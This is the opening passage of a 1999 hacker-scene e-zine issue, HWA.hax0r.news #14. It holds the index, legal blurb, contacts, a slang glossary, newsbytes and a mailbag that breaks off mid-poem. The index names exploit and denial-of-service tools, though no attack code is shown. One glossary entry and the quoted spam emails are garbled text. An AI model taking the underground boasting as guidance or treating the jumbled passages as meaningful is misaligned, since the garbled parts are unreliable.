HWA.hax0r.news #14 HTML/Text Version
Our REDIRECTOR
Canc0n99 411 be there or be square
- This issue may cause strangeness in certain browsers
read in TEXT mode to see why.
[ 28 63 29 20 31 39 39 39 20 63 72 75 63 69 70 68 75 78 20 68 77 61 ]
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=
==========================================================================
= <=-[ ]-="" HWA.HAX0R.NEWS> =
==========================================================================
[=HWA'99=] Number 14 Volume 1 1999 April 99
==========================================================================
[ 61:20:6B:69:64:20:63:6F:75: ]
[ 6C:64:20:62:72:65:61:6B:20:74:68:69:73: ]
[ 20:22:65:6E:63:72:79:70:74:69:6F:6E:22:! ]
==========================================================================
IRL i'm a sarcastic script on irc....i'm a dumbass ;)
- D----Y
Note that some stuff may not display correctly as I did not fully convert
all the text contained in this file to html, it is recommended you read
this file in standard text mode...
4445494c0494C554E4C554E
=------------------------------------------------------------------------=
=------------------------------------------------------------------------=
Synopsis
---------
The purpose of this newsletter is to 'digest' current events of interest
that affect the online underground and netizens in general. This includes
coverage of general security issues, hacks, exploits, underground news
and anything else I think is worthy of a look see. (remember i'm doing
this for me, not you, the fact some people happen to get a kick/use
out of it is of secondary importance).
This list is NOT meant as a replacement for, nor to compete with, the
likes of publications such as CuD or PHRACK or with news sites such as
AntiOnline, the Hacker News Network (HNN) or mailing lists such as
BUGTRAQ or ISN nor could any other 'digest' of this type do so.
It *is* intended however, to compliment such material and provide a
reference to those who follow the culture by keeping tabs on as many
sources as possible and providing links to further info, its a labour
of love and will be continued for as long as I feel like it, i'm not
motivated by dollars or the illusion of fame, did you ever notice how
the most famous/infamous hackers are the ones that get caught? there's
a lot to be said for remaining just outside the circle...
@HWA
=-----------------------------------------------------------------------=
Welcome to HWA.hax0r.news ... #14
=-----------------------------------------------------------------------=
*******************************************************************
*** /join #HWA.hax0r.news on EFnet the key is `zwen' ***
*** ***
*** please join to discuss or impart news on techno/phac scene ***
*** stuff or just to hang out ... someone is usually around 24/7***
*** ***
*** Note that the channel isn't there to entertain you its for ***
*** you to talk to us and impart news, if you're looking for fun***
*** then do NOT join our channel try #weirdwigs or something... ***
*** we're not #chatzone or #hack ***
*** ***
*******************************************************************
=-------------------------------------------------------------------------=
Issue #14
=--------------------------------------------------------------------------=
[ INDEX ]
=--------------------------------------------------------------------------=
Key Content
=--------------------------------------------------------------------------=
00.0 .. COPYRIGHTS ......................................................
00.1 .. CONTACT INFORMATION & SNAIL MAIL DROP ETC .......................
00.2 .. SOURCES .........................................................
00.3 .. THIS IS WHO WE ARE ..............................................
00.4 .. WHAT'S IN A NAME? why `HWA.hax0r.news'?..........................
00.5 .. THE HWA_FAQ V1.0 ................................................
01.0 .. GREETS ..........................................................
01.1 .. Last minute stuff, rumours, newsbytes ...........................
01.2 .. Mailbag .........................................................
02.0 .. From the Editor..................................................
03.0 .. Holes Found in Multiple Anonymiser Packages .....................
04.0 .. Some musings on the Melissa 'virus' by WHiTe VaMPiRe ............
05.0 .. So much for your radio hobby ....................................
06.0 .. ICQ99 Vulnerabilities still with us .............................
07.0 .. [ISN] "Hacking to become a crime" ...............................
08.0 .. [ISN] Client Security: You've got armored trucks, but what about
the pick pockets? - Chris Wysopal, The l0pht...............
09.0 .. [ISN] Strong privacy software for Linux available worldwide......
10.0 .. [ISN] Security Search engine back online.........................
11.0 .. [ISN] Smart Card Forum privacy symposium ........................
12.0 .. HP advisory Security Vulnerability in MPEi/X debug...............
13.0 .. Cisco security advisory Input Access List Leakage with NAT.......
14.0 .. Aptivas ship with added bonus, the CIH virus.....................
15.0 .. Rocketmail vulnerabilty on inactive accounts.....................
16.0 .. Yahoo "hack" faked?..............................................
17.0 .. 'Sorceror's Apprentice' bug in Outlook...........................
18.0 .. Aussie password thief pleads guilty..............................
19.0 .. Echelon is fishy says ACLU.......................................
20.0 .. Network-based intrusion detection systems are about to stop crying wolf
21.0 .. IE5 fun..........................................................
22.0 .. Renegade Judge...................................................
23.0 .. Webcom Guestbooks vulnerabilities................................
24.0 .. Achtung! No piracy here!.........................................
25.0 .. [BUGTRAQ] Bug in Winroute 3.04g .................................
26.0 .. [BUGTRAQ] Patrol security bugs ..................................
27.0 .. [BUGTRAQ] kernel panic or hang in name lookup (NetBSD)...........
28.0 .. cgichck1.3 scans for 41 known vulnerabilities by su1d sh3ll //UnlG 1999
29.0 .. poink.c new win9x/nt arp table exploit DoS.......................
29.1 .. winarp.c (winarps.c) exploits the arp table bug..................
29.2 .. The new win arp bug - original message ..........................
30.0 .. NT Message box DoS ..............................................
31.0 .. nmap wrapper for stealthier scans + enhanced logging capabilities
32.0 .. How to handle and detect network probes..........................
33.0 .. [ISN] Civilians go online to fight...............................
34.0 .. [ISN] Video cameras and microphones vulnerable to hackers .......
35.0 .. Cryptogram newsletter............................................
36.0 .. [BUGTRAQ] default passwords on ADSL routers .....................
37.0 .. [BUGTRAQ] Another bug in Midnight Commander/crontab..............
38.0 .. NFR releases Back Officer Friendly desktop IDS...................
=--------------------------------------------------------------------------=
AD.S .. Post your site ads or etc here, if you can offer something in return
thats tres cool, if not we'll consider ur ad anyways so send it in.
ads for other zines are ok too btw just mention us in yours, please
remember to include links and an email contact. Corporate ads will
be considered also and if your company wishes to donate to or
participate in the upcoming Canc0n99 event send in your suggestions
and ads now...n.b date and time may be pushed back join mailing list
for up to date information.......................................
Current dates: Aug19th-22nd Niagara Falls... .................
HA.HA .. Humour and puzzles ............................................
Hey You!........................................................
=------=........................................................
Send in humour for this section! I need a laugh and its hard to
find good stuff... ;)...........................................
HOW.TO .. "How to hack" by our illustrious editor.........................
SITE.1 .. Featured site, .................................................
H.W .. Hacked Websites ...............................................
A.0 .. APPENDICES......................................................
A.1 .. PHACVW linx and references......................................
=--------------------------------------------------------------------------=
@HWA'99
00.0 (C) COPYRIGHT, (K)OPYWRONG, COPYLEFT? V2.0
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
THE OPINIONS OF THE WRITERS DO NOT NECESSARILY REFLECT THE
OPINIONS OF THE PUBLISHERS AND VICE VERSA IN FACT WE DUNNO
WTF IS GONNA TAKE RESPONSIBILITY FOR THIS, I'M NOT DOING IT
(LOTS OF ME EITHER'S RESOUND IN THE BACKGROUND) SO UHM JUST
READ IT AND IF IT BUGS YOU WELL TFS (SEE FAQ).
Important semi-legalese and license to redistribute:
YOU MAY DISTRIBUTE THIS ZINE WITHOUT PERMISSION FROM MYSELF
AND ARE GRANTED THE RIGHT TO QUOTE ME OR THE CONTENTS OF THE
ZINE SO LONG AS Cruciphux AND/OR HWA.hax0r.news ARE MENTIONED
IN YOUR WRITING. LINK'S ARE NOT NECESSARY OR EXPECTED BUT ARE
APPRECIATED the current link is http://welcome.to/HWA.hax0r.news
IT IS NOT MY INTENTION TO VIOLATE ANYONE'S COPYRIGHTS OR BREAK
ANY NETIQUETTE IN ANY WAY IF YOU FEEL I'VE DONE THAT PLEASE EMAIL
ME PRIVATELY current email cruciphux@dok.org
THIS DOES NOT CONSTITUTE ANY LEGAL RIGHTS, IN THIS COUNTRY ALL
WORKS ARE (C) AS SOON AS COMMITTED TO PAPER OR DISK, IF ORIGINAL
THE LAYOUT AND COMMENTARIES ARE THEREFORE (C) WHICH MEANS:
I RETAIN ALL RIGHTS, BUT I GIVE YOU THE RIGHT TO READ, QUOTE
AND REDISTRIBUTE/MIRROR. - EoD
Although this file and all future issues are now copyright, some of
the content holds its own copyright and these are printed and
respected. News is news so i'll print any and all news but will quote
sources when the source is known, if its good enough for CNN its good
enough for me. And i'm doing it for free on my own time so pfffft. :)
No monies are made or sought through the distribution of this material.
If you have a problem or concern email me and we'll discuss it.
cruciphux@dok.org
Cruciphux [C*:.]
00.1 CONTACT INFORMATION AND MAIL DROP
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Wahoo, we now have a mail-drop, if you are outside of the U.S.A or
Canada / North America (hell even if you are inside ..) and wish to
send printed matter like newspaper clippings a subscription to your
cool foreign hacking zine or photos, small non-explosive packages
or sensitive information etc etc well, now you can. (w00t) please
no more inflatable sheep or plastic dog droppings, or fake vomit
thanks.
Send all goodies to:
HWA NEWS
P.O BOX 44118
370 MAIN ST. NORTH
BRAMPTON, ONTARIO
CANADA
L6V 4H5
WANTED!: POSTCARDS! YESH! POSTCARDS, I COLLECT EM so I know a lot of you are
~~~~~~~ reading this from some interesting places, make my day and get a
mention in the zine, send in a postcard, I realize that some places
it is cost prohibitive but if you have the time and money be a cool
dude / gal and send a poor guy a postcard preferably one that has some
scenery from your place of residence for my collection, I collect stamps
too so you kill two birds with one stone by being cool and mailing in a
postcard, return address not necessary, just a "hey guys being cool in
Bahrain, take it easy" will do ... ;-) thanx.
Ideas for interesting 'stuff' to send in apart from news:
- Photo copies of old system manual front pages (optionally signed by you) ;-)
- Photos of yourself, your mom, sister, dog and or cat in a NON
compromising position plz I don't want pr0n.
- Picture postcards
- CD's 3.5" disks, Zip disks, 5.25" or 8" floppies, Qic40/80/100-250
tapes with hack/security related archives, logs, irc logs etc on em.
- audio or video cassettes of yourself/others etc of interesting phone
fun or social engineering examples or transcripts thereof.
If you still can't think of anything you're probably not that interesting
a person after all so don't worry about it
Our current email:
Submissions/zine gossip.....: hwa@press.usmc.net
Private email to editor.....: cruciphux@dok.org
Distribution/Website........: sas72@usa.net
@HWA
00.2 Sources ***
~~~~~~~~~~~
Sources can be some, all, or none of the following (by no means complete
nor listed in any degree of importance) Unless otherwise noted, like msgs
from lists or news from other sites, articles and information is compiled
and or sourced by Cruciphux no copyright claimed.
HiR:Hackers Information Report... http://axon.jccc.net/hir/
News & I/O zine ................. http://www.antionline.com/
Back Orifice/cDc..................http://www.cultdeadcow.com/
News site (HNN) .....,............http://www.hackernews.com/
Help Net Security.................http://net-security.org/
News,Advisories,++ ...............http://www.l0pht.com/
NewsTrolls (HNN)..................http://www.newstrolls.com/
News + Exploit archive ...........http://www.rootshell.com/beta/news.html
CuD ..............................http://www.soci.niu.edu/~cudigest
News site+........................http://www.zdnet.com/
News site+........................http://www.gammaforce.org/
News site+........................http://www.projectgamma.com/
+Various mailing lists and some newsgroups, such as ...
+other sites available on the HNN affiliates page, please see
http://www.hackernews.com/affiliates.html as they seem to be popping up
rather frequently ...
http://www.the-project.org/ .. IRC list/admin archives
http://www.anchordesk.com/ .. Jesse Berst's AnchorDesk
alt.hackers.malicious
alt.hackers
alt.2600
BUGTRAQ
ISN security mailing list
ntbugtraq
<+OTHERS>
NEWS Agencies, News search engines etc:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
http://www.cnn.com/SEARCH/
Link
http://www.foxnews.com/search/cgi-bin/search.cgi?query=hack&days=0&wires=0&startwire=0
Link
http://www.news.com/Searching/Results/1,18,1,00.html?querystr=hack
Link
http://www.ottawacitizen.com/business/
Link
http://search.yahoo.com.sg/search/news_sg?p=hack
Link
http://www.washingtonpost.com/cgi-bin/search?DB_NAME=WPlate&TOTAL_HITLIST=20&DEFAULT_OPERATOR=AND&headline=&WITHIN_FIELD_NAME=.lt.event_date&WITHIN_DAYS=0&description=hack
Link
http://www.zdnet.com/zdtv/cybercrime/
Link
http://www.zdnet.com/zdtv/cybercrime/chaostheory/ (Kevin Poulsen's Column)
Link
NOTE: See appendices for details on other links.
http://news.bbc.co.uk/hi/english/sci/tech/newsid_254000/254236.stm
Link
http://freespeech.org/eua/ Electronic Underground Affiliation
Link
http://ech0.cjb.net ech0 Security
Link
http://net-security.org Net Security
Link
...
Submissions/Hints/Tips/Etc
~~~~~~~~~~~~~~~~~~~~~~~~~~
All submissions that are `published' are printed with the credits
you provide, if no response is received by a week or two it is assumed
that you don't care wether the article/email is to be used in an issue
or not and may be used at my discretion.
Looking for:
Good news sites that are not already listed here OR on the HNN affiliates
page at http://www.hackernews.com/affiliates.html
Magazines (complete or just the articles) of breaking sekurity or hacker
activity in your region, this includes telephone phraud and any other
technological use, abuse hole or cool thingy. ;-) cut em out and send it
to the drop box.
- Ed
Mailing List Subscription Info (Far from complete) Feb 1999
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~ ~~~~~~~~
ISS Security mailing list faq : http://www.iss.net/iss/maillist.html
THE MOST READ:
BUGTRAQ - Subscription info
~~~~~~~~~~~~~~~~~~~~~~~~~~~
What is Bugtraq?
Bugtraq is a full-disclosure UNIX security mailing list, (see the info
file) started by Scott Chasin . To subscribe to
bugtraq, send mail to listserv@netspace.org containing the message body
subscribe bugtraq. I've been archiving this list on the web since late
1993. It is searchable with glimpse and archived on-the-fly with hypermail.
Searchable Hypermail Index;
http://www.eecs.nwu.edu/~jmyers/bugtraq/index.html
Link
About the Bugtraq mailing list
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
The following comes from Bugtraq's info file:
This list is for *detailed* discussion of UNIX security holes: what they are,
how to exploit, and what to do to fix them.
This list is not intended to be about cracking systems or exploiting their
vulnerabilities. It is about defining, recognizing, and preventing use of
security holes and risks.
Please refrain from posting one-line messages or messages that do not contain
any substance that can relate to this list`s charter.
I will allow certain informational posts regarding updates to security tools,
documents, etc. But I will not tolerate any unnecessary or nonessential "noise"
on this list.
Please follow the below guidelines on what kind of information should be posted
to the Bugtraq list:
+ Information on Unix related security holes/backdoors (past and present)
+ Exploit programs, scripts or detailed processes about the above
+ Patches, workarounds, fixes
+ Announcements, advisories or warnings
+ Ideas, future plans or current works dealing with Unix security
+ Information material regarding vendor contacts and procedures
+ Individual experiences in dealing with above vendors or security organizations
+ Incident advisories or informational reporting
Any non-essential replies should not be directed to the list but to the originator of the message. Please do not "CC" the bugtraq
reflector address if the response does not meet the above criteria.
Remember: YOYOW.
You own your own words. This means that you are responsible for the words that you post on this list and that reproduction of
those words without your permission in any medium outside the distribution of this list may be challenged by you, the author.
For questions or comments, please mail me:
chasin@crimelab.com (Scott Chasin)
Crypto-Gram
~~~~~~~~~~~
CRYPTO-GRAM is a free monthly newsletter providing summaries, analyses,
insights, and commentaries on cryptography and computer security.
To subscribe, visit http://www.counterpane.com/crypto-gram.html or send a
blank message to crypto-gram-subscribe@chaparraltree.com. To unsubscribe,
visit http://www.counterpane.com/unsubform.html. Back issues are available
on http://www.counterpane.com.
CRYPTO-GRAM is written by Bruce Schneier. Schneier is president of
Counterpane Systems, the author of "Applied Cryptography," and an inventor
of the Blowfish, Twofish, and Yarrow algorithms. He served on the board of
the International Association for Cryptologic Research, EPIC, and VTW. He
is a frequent writer and lecturer on cryptography.
CUD Computer Underground Digest
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
This info directly from their latest ish:
Computer underground Digest Sun 14 Feb, 1999 Volume 11 : Issue 09
ISSN 1004-042X
Editor: Jim Thomas (cudigest@sun.soci.niu.edu)
News Editor: Gordon Meyer (gmeyer@sun.soci.niu.edu)
Archivist: Brendan Kehoe
Poof Reader: Etaion Shrdlu, Jr.
Shadow-Archivists: Dan Carosone / Paul Southworth
Ralph Sims / Jyrki Kuoppala
Ian Dickinson
Cu Digest Homepage: http://www.soci.niu.edu/~cudigest
[ISN] Security list
~~~~~~~~~~~~~~~~~~~
This is a low volume list with lots of informative articles, if I had my
way i'd reproduce them ALL here, well almost all .... ;-) - Ed
Subscribe: mail majordomo@repsec.com with "subscribe isn".
@HWA
00.3 THIS IS WHO WE ARE
~~~~~~~~~~~~~~~~~~
Some HWA members and Legacy staff
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
cruciphux@dok.org.........: currently active/editorial
darkshadez@ThePentagon.com: currently active/man in black
fprophet@dok.org..........: currently active/IRC+ man in black
sas72@usa.net ............. currently active/IRC+ distribution
vexxation@usa.net ........: currently active/IRC+ proof reader/grrl in black
dicentra...(email withheld): IRC+ grrl in black
Foreign Correspondants/affiliate members
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
ATTENTION: All foreign correspondants please check in or be removed by next
issue I need your current emails since contact info was recently lost in a
HD mishap and i'm not carrying any deadweight. Plus we need more people sending
in info, my apologies for not getting back to you if you sent in January I lost
it, please resend.
N0Portz ..........................: Australia
Qubik ............................: United Kingdom
system error .....................: Indonesia
Wile (wile coyote) ...............: Japan/the East
Ruffneck ........................: Netherlands/Holland
And unofficially yet contributing too much to ignore ;)
Spikeman .........................: World media
Please send in your sites for inclusion here if you haven't already
also if you want your emails listed send me a note ... - Ed
http://www.genocide2600.com/~spikeman/ .. Spikeman's DoS and protection site
http://www.hackerlink.or.id/ ............ System Error's site (in Indonesian)
*******************************************************************
*** /join #HWA.hax0r.news on EFnet the key is `zwen' ***
*******************************************************************
:-p
1. We do NOT work for the government in any shape or form.Unless you count paying
taxes ... in which case we work for the gov't in a BIG WAY. :-/
2. MOSTLY Unchanged since issue #1, although issues are a digest of recent news
events its a good idea to check out issue #1 at least and possibly also the
Xmas issue for a good feel of what we're all about otherwise enjoy - Ed ...
@HWA
00.4 Whats in a name? why HWA.hax0r.news??
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Well what does HWA stand for? never mind if you ever find out I may
have to get those hax0rs from 'Hackers' or the Pretorians after you.
In case you couldn't figure it out hax0r is "new skewl" and although
it is laughed at, shunned, or even pidgeon holed with those 'dumb
leet (l33t?) dewds' this is the state
of affairs. It ain't Stephen Levy's HACKERS anymore. BTW to all you
up and comers, i'd highly recommend you get that book. Its almost
like buying a clue. Anyway..on with the show .. - Editorial staff
@HWA
00.5 HWA FAQ v1.0 Feb 13th 1999 (Abridged & slightly updated again)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Also released in issue #3. (revised) check that issue for the faq
it won't be reprinted unless changed in a big way with the exception
of the following excerpt from the FAQ, included to assist first time
readers:
Some of the stuff related to personal useage and use in this zine are
listed below: Some are very useful, others attempt to deny the any possible
attempts at eschewing obfuscation by obsucuring their actual definitions.
@HWA - see EoA ;-)
!= - Mathematical notation "is not equal to" or "does not equal"
ASC(247) "wavey equals" sign means "almost equal" to. If written
an =/= (equals sign with a slash thru it) also means !=, = is equal to or greater than (etc, this aint
fucking grade school, cripes, don't believe I just typed all that..)
AAM - Ask a minor (someone under age of adulthood, usually <16, EDIBLE - CRACKERS . ACCEPT 1 2 MAD TRY A BEING I HERE, GOT ACCESS AN AT BY OFTEN PEPPER KUNG-FU (GERMANY) GREAT ED GEAR, GUY OFF SCRIPT KIDDIE GOOD GO also wigger
Vanilla Ice is a wigger, The Beastie Boys and rappers speak using
ebonics, speaking in a dark tongue ... being ereet, see pheer
EoC - End of Commentary
EoA - End of Article or more commonly @HWA
EoF - End of file
EoD - End of diatribe (AOL'ers: look it up)
FUD - Coined by Unknown and made famous by HNN - "Fear uncertainty and doubt",
usually in general media articles not high brow articles such as ours or other
HNN affiliates ;)
du0d - a small furry animal that scurries over keyboards causing people to type
weird crap on irc, hence when someone says something stupid or off topic
'du0d wtf are you talkin about' may be used.
*HACKER - Read Stephen Levy's HACKERS for the true definition, then see HAX0R
*HAX0R - 1 - Cracker, hacker wannabe, in some cases a true hacker, this is difficult to
define, I think it is best defined as pop culture's view on The Hacker ala
movies such as well erhm "Hackers" and The Net etc... usually used by "real"
hackers or crackers in a derogatory or slang humorous way, like 'hax0r me
some coffee?' or can you hax0r some bread on the way to the table please?'
2 - A tool for cutting sheet metal.
HHN - Maybe a bit confusing with HNN but we did spring to life around the same
time too, HWA Hax0r News.... HHN is a part of HNN .. and HNN as a proper
noun means the hackernews site proper. k? k. ;&
HNN - Hacker News Network and its affiliates http://www.hackernews.com/affiliates.html
J00 - "you"(as in j00 are OWN3D du0d) - see 0wn3d
MFI/MOI- Missing on/from IRC
NFC - Depends on context: No Further Comment or No Fucking Comment
NFR - Network Flight Recorder (Do a websearch) see 0wn3d
NFW - No fuckin'way
*0WN3D - You are cracked and owned by an elite entity see pheer
*OFCS - Oh for christ's sakes
PHACV - And variations of same
Phreaking, Hacking, Anarchy, Cracking, Carding (CC) Groups Virus, Warfare
Alternates: H - hacking, hacktivist
C - Cracking
C - Cracking
V - Virus
W - Warfare
A - Anarchy (explosives etc, Jolly Roger's Cookbook etc)
P - Phreaking, "telephone hacking" PHone fREAKs ...
CT - Cyber Terrorism
*PHEER - This is what you do when an ereet or elite person is in your presence
see 0wn3d
*RTFM - Read the fucking manual - not always applicable since some manuals are
pure shit but if the answer you seek is indeed in the manual then you
should have RTFM you dumb ass.
TBC - To Be Continued also 2bc (usually followed by ellipses...) :^0
TBA - To Be Arranged/To Be Announced also 2ba
TFS - Tough fucking shit.
*w00t - 1 - Reserved for the uber ereet, noone can say this without severe repercussions
from the underground masses. also "w00ten"
2 - Cruciphux and sAs72's second favourite word (they're both shit stirrers)
*wtf - what the fuck
*ZEN - The state you reach when you *think* you know everything (but really don't)
usually shortly after reaching the ZEN like state something will break that
you just 'fixed' or tweaked.
@HWA
-=- :. .: -=-
01.0 Greets!?!?! yeah greets! w0w huh. - Ed
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Thanks to all in the community for their support and interest but i'd
like to see more reader input, help me out here, whats good, what sucks
etc, not that I guarantee i'll take any notice mind you, but send in
your thoughts anyway.
* all the people who sent in cool emails and support
FProphet Pyra Pasty Drone
TwstdPair TheDuece _NeM_
D----Y RTFM99 Kevin Mitnick (watch yer back)
ypwitch kimmie vexxation
hunchback mack sAs72 Spikeman
and the #innerpulse, #hns crew and some inhabitants of #leetchans ....
although I use the term 'leet loosely these days, ;)
kewl sites:
+ http://www.l0pht.com/
+ http://www.2600.com/
+ http://www.genocide2600.com/
+ http://www.genocide2600.com/~spikeman/
+ http://www.genocide2600.com/~tattooman/
+ http://www.hackernews.com/ (Went online same time we started issue 1!)
+ http://www.net-security.org/
+ http://www.slashdot.org/
+ http://www.freshmeat.net/
@HWA
01.1 Last minute stuff, rumours and newsbytes
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
"What is popular isn't always right, and what is right isn't
always popular..."
- FProphet '99
+++ When was the last time you backed up your important data?
++ ANOTHER PRIVACY HOLE IN IE 5.0? (TECH. 3:00 am)
http://www.wired.com/news/news/email/explode-infobeat/technology/story/19160.html
When users bookmark a Web page with Internet Explorer 5.0, a
new feature in the software notifies the site. Consumer
advocates say software makers need to get a grip on the
privacy implications of their code. By Chris Oakes.
++ ARREST MADE IN PAIRGAIN RUMOR (BUS. Thursday)
http://www.wired.com/news/news/email/explode-infobeat/business/story/19155.html
Authorities arrest a 25-year-old man in connection with a
fake news story posted on the Web last week that sent
PairGain's stock soaring.
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
++ EMPLOYERS READ WORKERS' EMAIL (BUS. Thursday)
http://www.wired.com/news/news/email/explode-infobeat/business/story/19152.html
Almost half of major US firms monitor employees' phone calls,
email, and computer files, according to a survey. The most
common form of surveillance: storing and reading office
email. By Joanna Glasner.
Mucho thanks to Spikeman for directing his efforts to our cause of bringing
you the news we want to read about in a timely manner ... - Ed
@HWA
01.2 MAILBAG - email and posts from the message board worthy of a read
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
This appears to be spam from the url that is provided but it sure is frustrating
receiving mail like this and not being able to convert it to English...
X-Mailer: Aureate Group Mail Free Edition - http://software.aureate.com
From: master
To:
Date: Fri, 16 Apr 1999 19:25:00 +0900
Subject: ¾È³çÇϼ¼¿ä »çÀ̹ö¼¥ÀÔ´Ï´Ù.
Reply-To: kurotools@kurotools.com
X-Priority: 3
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
¾È³çÇϼ¼¿ä »çÀ̹ö¼¥ÀÔ´Ï´Ù.
±×µ¿¾È ÀúÈñ »çÀ̹ö¼¥À» ÀÌ¿ëÇØÁּż °¨»çÇÕ´Ï´Ù.
ÀÌ·¸°Ô ºÒ¼÷ À̸ÞÀÏÀ» º¸³»°Ô µÇ¾î Á˼ÛÇÕ´Ï´Ù.
´Ù¸§ÀÌ ¾Æ´Ï¿À¶ó À̹ø¿¡ ÀúÈñ »çÀ̹ö¼¥ http://www.cybershop.co.kr ÀÌ
»õ´ÜÀåÀ» ÇÏ¿´½À´Ï´Ù.
ÄÄÇ»ÅÍ Äڳʴ ¿ë»êÀÇ Àú·ÅÇÑ µô·¯¸¦ ÀÔÁ¡½ÃÄÑ
°¡°Ý°æÀï·ÂÀ» ³ô¿´°í ÀüÀÚ,Àü±â,»ýÈ°¿ëÇ°µîÀº ½Ç»ýÈ°¿¡
²ÀÇÊ¿äÇÑ Á¦Ç°À¸·Î »õ´ÜÀåÀ» ÇÏ¿´½À´Ï´Ù.
Çѹø ¿À¼Å¼ µÑ·¯º¸½Ã°í ¸¹Àº Á¶¾ðÀ» ¹Ù¶ø´Ï´Ù.
°¨»çÇÕ´Ï
...
Date: Wed, 7 Apr 1999 00:51:54 -0400 (EDT)
From: Bonnie
To:
Message-Id: <419.436257.51610637LEARNING_BL@YAHOO.COM>
Subject: °ê »Ú ¾Ð ²ß ªk
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
¦p§A¯à ¦b¥b¤p®É¤º·Ç½T¦a°O±o¤@¦ÊӼƥئr¤Î¨ä¥¿½T¦ì¸m¡A·í¾Ç²ß¨ä¥¦ª¾ÃѮɡA °Z«D
»´¦Ó©ö
Á|¡H§ÚÌ«OÃÒ¨CÓ´¼¤O¥¿±`ªº¤H¡A¦p¦³¥¿½Tªº¤èªk¡A§¡¥i°µ¨ì¡I
§A/§Aªº¤l¤k¬O§_¦³¥H¤U±¡ªp¡G
* ¾Ç²ß¦¨ÁZ¤£²z·Q¡A»Ýn¸É²ß¦Ñ®v¸ò¶i¥\½Ò¡H
* ·ín³B²z¤j¶q¸ê®Æ®É·P¨ì¦Y¤O¡H
* Ãø©ó¶°¤¤ºë¯«·Å²ß©Î¤u§@¡H
* À³¥I¾Ç®Õ/±M·~¦Ò¸Õ·PıÀ£¤O¤j¦Ó²£¥Í®£Äß¡H
¤Wz°ÝÃD³£¬O¤@¯ë¾Ç¥Í©Î¦b¾¤H¥Kªº³q¯f¡Cì¦]«Ü²³æ¡A¦]¥L̨S¦³¥¿½Tªº¾Ç²ß©M°O¾Ð
¤èªk¡A
¬é¾a¦º°OµwI¡A¤£¦ý»Ýnªø®É¶¡·Å²ß¤ÎI»w¡A¥ç¤£¯à¨Ï°O¾Ð«ù¤[¡C
¾Ð²ßªk±Ð¾É§A¾Ç²ß¤§¥¿½T¤èªk¡A¥þ±´£¤É¾Ç²ß©M°O¾Ð¯à¤O¡C¥¦¬O¤@®M¥ý¶i¾Ç²ß©M°O¾Ð§Þ
¥©½Ò
µ{¡A®Ú¾Ú¤H¤H³£¾Ö¦³ªº¤Ñ¥Í¥»¯à¦Ó³Ð³y¡A«Oµý¥Ñ¤p¾Ç¥Í¦Ü°h¥ð¤H¥K¬Ò¯à´x´¤¡AÀ°§U§A¡G
* ÁYµu¾Ç²ß®É¶¡ ¢w ¼W¶i¾Ç·~¦¨ÁZ©Î¤u§@®Ä²v
* ¼W±j°O¾Ð¯à¤O ¢w ¤£¥Î¦º°OµwI
* ´£°ª¾Ç²ß¿³½ì ¢w ´î»´¦Ò¸ÕÀ£¤O
* ¦Û«H¤ß¿¼W ¢w ¦¨¥\¦b´¤
¾Ð²ßªk¬O¤@¶¡°ê»Ú©Ê±Ð¨|¾÷ºc¡C¾ã®M½Òµ{¤v¥æ¡y±Ð¨|¸p¡z¼f¾\¡C¦p·Q¥þ±´£¤É§Aªº¾Ç²ß
¯à¤O¡A
½Ð§Y¶ñ§´ªí®æ±H¦^¡A§Y¦w±Æ ¡°§K¶O¥Ü½dÁ¿®y¡A°£¦³±M·~¾É®v§@Á¿¸Ñ¥Ü½d¥~¡A¨Ã§Y³õµû¦ô
»Õ¤U/
§Aªº¤l¤k¤§¾Ç²ß©M°O¾Ð¯à¤O¡A¦b¤@¤p®É¤§½Ò°ó¤º¡A¾É®v·|±Ð±Â½Òµ{¤ºªº³¡¥÷¤èªk¤Î§Þ
¥©¡AÅý¾Ç
¥Í¿Ë¨Ê^Å禳¤èªk¾Ç²ß»P¦º°OµwIªº¤À§O¡C
§¹¥þ§K¶O¡I
¡°
¾Ç¥Í¥²¶·¥Ñ®aªø³¦P¥X®u
¦p±ý°Ñ¥[§K¶O¥Ü½d½Ò°ó¡A½Ð§Y¶ñ§´ªí®æ¶Ç¯u©Î±H¦^¡C ( HK- 1127 )
¾Ç¥Í ( ) ¦b¾¤H¥K ( )
©m¦W¡G ¾Ç¾ú¡G
¦~ÄÖ¡G ¾·~¡G
¦í§}¹q¸Ü¡G Ápµ¸¹q¸Ü :
³q«H¦a§}¡G
* ½Ð´£¨Ñ¹q¸Ü¸¹½X¡A¤è«K¶Ç»¼¸ÔºÉ¸ê®Æ¡A¥H¤W¸ê®Æµ´¹ï«O±K¡C *
»´äÆW¥J²ø¤h´°¹D¤»¤Q¤K¸¹¤¬«H¤j·H6¼ÓA¤ÎB®y
Unit A & B, 6/F., Trust Tower, 68 Johnston Road, Wanchai, Hong Kong.
Fax¡G2527 559 e-mail : learning_bl@yahoo.com
...
X-Originating-IP: [209.209.166.133]
From: "liquid phire"
To: hwa@press.usmc.net
Date: Sat, 10 Apr 1999 20:18:48 PDT
Mime-Version: 1.0
Content-type: text/plain
_identity_
alone in a room, trying to find the darkness of peace in the twilight
of war. as are we all searching for the same thing with our blank
minds, blank hearts, blank faces. for we are the children of the
resurection in a time when no one desires to be saved.
i look at another and see myself. i cut a throat find that it is my
